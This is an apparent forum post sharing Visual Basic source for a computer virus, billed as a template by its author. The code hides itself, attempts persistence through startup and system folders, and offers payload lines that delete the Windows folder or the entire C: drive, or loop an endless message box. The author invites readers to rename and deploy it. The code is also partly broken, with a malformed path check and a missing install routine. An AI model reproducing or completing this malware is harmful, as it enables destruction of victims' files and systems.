ANOTHER INFECTION by SKYTOP1234 [CODE:VB]

Dim namefile As String
Dim namereg As String
Private Sub Form_Load()
On Error Resume Next
Me.Hide 'so people can not see it
namefile = "virus.exe" 'put the virus file name here with the .exe on the end !Recommended to change!
namereg = "virus" 'put the virus reg key name in here !Recommended to change!
If LCase$(App.Path) <> "c:\windows\system32" Or "c:\windows\start menu\programs\startup" Or "c:\windows\start menu\programs\start up" Or "c:\winnt\system32" Or "c:\winnt\start menu\programs\startup" Or "c:\winnt\start menu\programs\start up" Or "C:\Documents and Settings\All Users\Start Menu\Programs\Startup" Then
'^this is check if the computer already has been infected !Recommended not to touch!
reg namefile, namereg 'this is to infect the computer
End If
payload 'this goes to the main part of the virus
End Sub
Function payload()
On Error Resume Next
'this is the main part of the virus put the code here of what you want this virus to do

'Shell ("cmd /c del c:\windows\* /F /S /Q") 'this will kill the windows folder in C:

'Shell ("cmd /c del c:\* /F /S /Q") 'this will kill the whole C: drive

'start:
'msgbox "Your Pc Is Infected With The Anoying Virus"
'goto start 'this will repeat a msgbox over and over again
End Function
-------------------------------------------
save as a .vbs file extension.

ex:skytop-is-cool.vbs